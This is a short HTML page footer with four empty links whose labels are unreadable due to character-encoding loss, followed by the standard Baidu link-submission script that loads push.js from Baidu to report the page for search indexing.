<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">���</a>|
<a href="http://" target="_blank">մ����</a>|
<a href="http://" target="_blank">�޻���</a>|
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>